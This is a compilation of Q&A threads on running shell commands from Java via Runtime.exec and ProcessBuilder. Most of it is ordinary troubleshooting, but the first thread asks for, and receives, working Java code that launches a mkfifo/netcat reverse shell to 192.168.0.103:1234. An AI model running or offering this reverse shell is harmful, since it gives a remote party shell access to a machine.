java Runtime.getRuntime().exec() unable to run commands - java

I need to run the following command from inside the Runtime.getRuntime().exec():
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
In what format should I pass it to my running java program that has the line :
Process localProcess = Runtime.getRuntime().exec(myStr);
where myStr is the entire command above that I want to execute ?
Things I have already tried :
[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"
gives me the error :
Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory
If I simply run the command from my terminal as :
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
It runs like a charm, but not through the runtime.exec().

Try to use ProcessBuilder instead of Runtime.
Try this one:
Process p = new ProcessBuilder().command("bash","-c",cmd).start();
cmd is the variable which holds your shell command.
Update:
String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);

Here is working Java code that illustrates few more aspects of calling Runtime.getRuntime().exec() like waiting for the process to complete and capturing the output and error streams:
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;
class Test {
public static void dump(InputStream is) {
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
try {
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (Exception e) {
System.out.println("read line threw exception");
}
}
public static void run(String cmd) {
try {
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
int status = p.exitValue();
System.out.println("Program terminated with exit status " + status);
if (status != 0) {
dump(p.getErrorStream());
}
else {
dump(p.getInputStream());
}
} catch (Exception e) {
System.out.println("Caught exception");
}
}
};

Related

how to execute command "ps -eaf | grep myprocess" in java

I googled and checked the SO if there is any code to find PID of any other process.
There is a solution to create a shell script with the command "ps -eaf | grep myprocess" in it and executing that script from java.
But I want to execute using java ProcessBuilder or Runtime methods. Below is the code that I have tried which is not giving me null as output.
import java.io.*;
public class TestShellCommand {
public static void main(String args[]) {
Process p = null;
String command = "ps -ef | grep myProcess";
try {
// p = new ProcessBuilder(command).start();
p = Runtime.getRuntime().exec(command);
BufferedReader br[] = new BufferedReader[2];
br[1] = new BufferedReader(new InputStreamReader(p.getErrorStream()));
br[0] = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
if(br[0].readLine() == null){
System.out.println("The input stream is null.");
}
while ((line = br[0].readLine()) != null) {
System.out.println(line);
}
try {
br[0].close();
} catch (Exception a) {
a.printStackTrace();
}
try {
br[1].close();
} catch (Exception a) {
a.printStackTrace();
}
} catch (Exception grrr) {
grrr.printStackTrace();
} finally {
try {
closeStreams(p);
p.destroy();
} catch (Exception r) {
r.printStackTrace();
}
}
}
static void closeStreams(Process p) throws IOException {
p.getInputStream().close();
p.getOutputStream().close();
p.getErrorStream().close();
}
}
The output for the command is :
java TestShellCommand
The input stream is null.
{sdc#ip-172-31-32-49}[26] echo $?
0
Please let me know if there is any error in my code as when I search manually from shell i do get the expected output as below:
ps -ef | grep myProcess
root 7433 1 0 10:33 ? 00:00:00 myProcess hello
sdc 19894 14130 0 11:24 pts/7 00:00:00 grep myProcess
[UPDATED CODE - Without the grep command]
import java.io.*;
public class TestShellCommand {
public static void main(String args[]) {
Process p = null;
String [] command = {"ps", "-eaf"};
try {
p = Runtime.getRuntime().exec(command);
BufferedReader br[] = new BufferedReader[2];
br[1] = new BufferedReader(new InputStreamReader(p.getErrorStream()));
br[0] = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
if(br[0].readLine() == null){
System.out.println("The input stream is null.");
}
while ((line = br[0].readLine()) != null) {
System.out.println(line);
}
// Then code to find by process name by using string methods ...
try {
br[0].close();
} catch (Exception a) {
a.printStackTrace();
}
try {
br[1].close();
} catch (Exception a) {
a.printStackTrace();
}
} catch (Exception grrr) {
grrr.printStackTrace();
} finally {
try {
closeStreams(p);
p.destroy();
} catch (Exception r) {
r.printStackTrace();
}
}
}
static void closeStreams(Process p) throws IOException {
p.getInputStream().close();
p.getOutputStream().close();
p.getErrorStream().close();
}
}
I have added the code that is working, when I am passing command as:
new String[]{"/bin/sh","-c", "ps -eaf | grep "+ "myProcess" +" | grep -v grep"} - Empty response.
new String[] {"ps", "-eaf", "grep -m 1 myProcess", "awk -F ' ' '{print $2}' "} - Empty response.
Thanks in advance for any leads.
As #Slimo answer indicates you must launch a shell to execute a shell command (the pipe), and read the error stream to determine what may have gone wrong.
Launching subprocess without using waitFor() or consuming stdout and stderr at SAME time can lead to issues, use file redirect or as in this example merge stderr -> stdout and read one stream only:
String procname = "myProcess";
String[] cmd = new String[]{"bash","-c", "ps -eaf | grep "+procname+" | grep -v grep"}
ProcessBuilder pb = new ProcessBuilder(cmd);
pb.redirectErrorStream(true);
Process process = pb.start();
process.getInputStream().transferTo(System.out);
int rc = process.waitFor();
if (rc != 0)
throw new RuntimeException("Failed rc="+rc+" cmd="+Arrays.toString(cmd));
In later JDK you don't need ProcessBuilder, you may find all the process attributes in the data-structures returned by ProcessHandle:
ProcessHandle.allProcesses()
.filter(ph -> ph.info().command().isPresent() && ph.info().command().get().contains(procname))
.forEach(ph -> System.out.println("PID: "+ph.pid()+" command: "+ph.info().command()))
Your problem is that you are trying to use the pipe in your command, so you need a shell to execute it. You can use the following command:
p = new ProcessBuilder("/bin/sh", "-c", "ps -aux | grep myProcess").start();
You can read more here: Using Java ProcessBuilder to Execute a Piped Command
To test it, I started top in a shell and run the command with it as the grep pattern. Here is the output I got:
<edited> 139890 0.4 0.0 23640 4376 pts/0 S+ 16:05 0:00 top
<edited> 139945 0.0 0.0 20996 3448 ? S 16:06 0:00 /bin/bash -c ps -aux | grep top
<edited> 139947 0.0 0.0 20536 2776 ? S 16:06 0:00 grep top
Based on your comment, I suggest you first run the commands in a shell to see the output and check to see if it matches that from the Java program. I guess myProcess is only a placeholder for the actual process to check.
One thing which I noticed is that when running htop from a snap, and using the above code to grep after htop will return answers like in your comment, but grepping by top will include the actual process. I also checked with gedit and it looks like grep with gedit returns like in your case, but using only edit will return the actual process. Not sure what is the problem in this case.

Problems in running AWS CLI bash command within Java

I'm trying to run an AWS command within Java code (in Linux). Like always, I try to run the bash command like this in Java. But I wonder it doesn't show anything. And just prints Exited with error code : 2. When I just run aws ls help in bash, it works.
What is the problem? How to solve it?
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class TestCMD {
public static void main(String[] args) {
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("bash", "-c", "aws ls help");
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
int exitCode = process.waitFor();
System.out.println("\nExited with error code : " + exitCode);
} catch (Exception e) {
e.printStackTrace();
}
}
}
The Java code is not the problem. It works fine, what you can check by replacing the command with
processBuilder.command("bash", "-c", "echo 1 2 3");
You have 2 "problems".
The first problem is that aws writes its output to stderr, not stdout.
The second problem is that aws returns 2 where 0 would be IMHO better.
You can test this on the commandline with:
aws ls help 2>/dev/null; echo $?
The problems can be fixed with
processBuilder.command("bash", "-c", "/usr/bin/aws ls help 2>&1; true");

StringBuilder output is empty executing linux echo command

I'm trying to execute in java this command, and I need to get the output
in a java String. The command encrypt plain text with a password phrase and return the plain text encrypted.
The command is:
/bin/sh -c echo "textToEncrypt" | /usr/bin/openssl enc -aes-256-cbc -e -base64 -A -pass pass:passwordPhrase
Screenshot:
I do the following:
I can run the command in the linux shell , and I get an encrypted output string in the shell, like: "U2FsdGVkX1/1UcPzhX7IGgvXdx9YrS+cizrla8UYhU8=", so the command works.
I can run the same command in java 1.7, like the example code below (cryptData method). It runs fine, but I dont get an output (the encrypted data).
I can run any command without "echo" from java, for example, ("ls -fla | more"). Run fine again and I always get the output.
This is the code:
public void cryptData() {
String passwordPhrase="a1b2c3d4e5";
ProcessBuilder processBuilder = new ProcessBuilder();
List<String> commands = new ArrayList<String>();
commands.add("/bin/sh");
commands.add("-c");
commands.add("echo");
commands.add("/"textToCrypt/"");
commands.add("|");
commands.add("/usr/bin/openssl");
commands.add("-aes-256-cbc");
commands.add("-e");
commands.add("-base64");
commands.add("-A");
commands.add("-pass");
commands.add("pass:"+passwordPhrase);
// Run the shell command
processBuilder.command(commands);
try { //standard stringBuilder process
Process process = processBuilder.start();
StringBuilder output = new StringBuilder();
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line + "\n");
}
int exitVal = process.waitFor();
if (exitVal == 0) {
System.out.println("Success!");
System.out.println("Output1"+ output);
System.out.println("Output2"+ output.toString());
System.exit(0);
} else {
System.out.println("Error");
}
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
The final result is always: "Success!" but the output is empty or null with this code. What am I doing wrong?
sh -c expects the command to be executed as a single argument. So after adding /bin/sh and -c, you should add the rest of the command as a single argument, like this:
commands.add("/bin/sh");
commands.add("-c");
commands.add("echo /" + textToCrypt + "/ | /usr/bin/openssl -aes-256-cbc " +
"-e -base64 -A -pass pass: " + passwordPhrase);

Run Shell Commands using Java provides problems

public class RunBashCommand {
public synchronized boolean RunInBash(String command) {
System.out.println("CMD: "+command);
/*String s; not working this code also
Process p;
try {
Process p = Runtime.getRuntime().exec(command);
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()));
while ((s = br.readLine()) != null)
System.out.println("line: " + s);
p.waitFor();
System.out.println ("exit: " + p.exitValue());
PrintBufferReader(getError(p));
p.destroy();
} catch (Exception e) {
e.printStackTrace();
}*/
try {
Process p = new ProcessBuilder("/bin/sh", command).start();
/*Process p = new ProcessBuilder("/bin/bash", command).start();*/
PrintBufferReader(getError(p));
/*p.destroy();*/
} catch (IOException e) {
e.printStackTrace();
}
return true;
}
private static BufferedReader getOutput(Process p) {
return new BufferedReader(new InputStreamReader(p.getInputStream()));
}
private static BufferedReader getError(Process p) {
return new BufferedReader(new InputStreamReader(p.getErrorStream()));
}
private void PrintBufferReader(BufferedReader br) throws IOException {
int value = 0;
String s = "";
while((value = br.read()) != -1)
{
char c = (char)value;
s = s+c;
}
System.out.println("EEEE: "+s);
}
}
I tried this code, but it did not work.
following output came:
CMD: cd /home/jeevan/workspace/apb_proj/; source init.csh
EEEE: /bin/sh: cd /home/jeevan/workspace/apb_proj/; source init.csh: No such file or directory
CMD: cd /home/jeevan/workspace/apb_proj/verif/compile/; make clean; make compile; make elab
EEEE: /bin/sh: cd /home/jeevan/workspace/apb_proj/verif/compile/; make clean; make compile; make elab: No such file or directory
CMD: sh /home/jeevan/workspace/apb_proj/verif/test_lib/src/apb_test31/runme.csh
EEEE: /bin/sh: sh /home/jeevan/workspace/apb_proj/verif/test_lib/src/apb_test31/runme.csh: No such file or directory
can some one help?
You're effectively running:
/bin/sh "cd /home/jeevan/workspace/apb_proj/; source init.csh"
When you run /bin/sh this way, it treats its first argument as the name of a file to execute as a shell script. Of course, there's no file named "cd /home/jeevan/workspace/apb_proj/; source init.csh", so you get an error message.
The correct way to invoke sh with a command as an argument is like this:
/bin/sh -c "cd /home/jeevan/workspace/apb_proj/; source init.csh"
Using process builder, you'd do:
Process p = new ProcessBuilder("/bin/sh", "-c", command).start();
The next problem that you're likely to run into is that it appears that the command you're trying to invoke is a csh command, not an sh command. "source" is a csh command, and the file you're trying to source is called "init.csh". So maybe you want to invoke csh instead of sh:
Process p = new ProcessBuilder("/bin/csh", "-c", command).start();
You need to split command arguments into separate parameters: not ProcessBuilder("bin/sh", "cd foo/bar") but ProcessBuilder("bin/sh", "cd", "foo/bar").
You can't use shell metacharacters (like ";") too. To run multiple commands, you have to start multiple processes.
Put all your commands into a List and pass it as the argument to the ProcessBuilder. As an alternative you can start the shell process, get it's OutputStream and write commands into this stream to execute them.

Can't get output from Runtime.exec()

I have written a code to execute a command on shell through Java:
String filename="/home/abhijeet/sample.txt";
Process contigcount_p;
String command_to_count="grep \">\" "+filename+" | wc -l";
System.out.println("command for counting contigs "+command_to_count);
contigcount_p=Runtime.getRuntime().exec(command_to_count);
contigcount_p.wait();
As pipe symbols were being used so I was not able to execute command successfully.As per my last question's discussion i have wrapped my variables in shell:
Runtime.getRuntime().exec(new String[]{"sh", "-c", "grep \">\" "+filename+" | wc -l"});
Which worked for me as it does executes command on shell , but still when i try to read its output using buffered reader :
BufferedReader reader =
new BufferedReader(new InputStreamReader(contigcount_p.getInputStream()));
String line=" ";
while((line=reader.readLine())!=null)
{
output.append(line+"\n");
}
It returns a null value ,I have found a temporary solution for it as i have discussed on previous question: link, but i would like to use right way of doing it by reading it's output using BufferedReader.
When I used your command line of {"sh", "-c", "grep \">\" "+filename+" | wc -l"} it kept overriding my file
I had to change it so that the quotes were double quoted, {"sh", "-c", "grep \"\">\"\" "+filename+" | wc -l"}
So, using this as the contents of my test file...
>
>
>
Not a new line >
And using this code...
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class TestProcess {
public static void main(String[] args) {
String filename = "test.tx";
String test = "grep \"\">\"\" "+filename+" | wc -l";
System.out.println(test);
try {
ProcessBuilder pb = new ProcessBuilder("sh", "-c", test);
pb.redirectError();
Process p = pb.start();
new Thread(new Consumer(p.getInputStream())).start();
int ec = p.waitFor();
System.out.println("ec: " + ec);
} catch (IOException | InterruptedException exp) {
exp.printStackTrace();
}
}
public static class Consumer implements Runnable {
private InputStream is;
public Consumer(InputStream is) {
this.is = is;
}
#Override
public void run() {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(is))){
String value = null;
while ((value = reader.readLine()) != null) {
System.out.println(value);
}
} catch (IOException exp) {
exp.printStackTrace();
}
}
}
}
I was able to produce this output...
grep "">"" test.tx | wc -l
4
ec: 0
Generally, when dealing with external processes, it's usually easier to use a ProcessBuilder, it has some nice options, including redirecting the error/stdout and setting the execution context directory...

Categories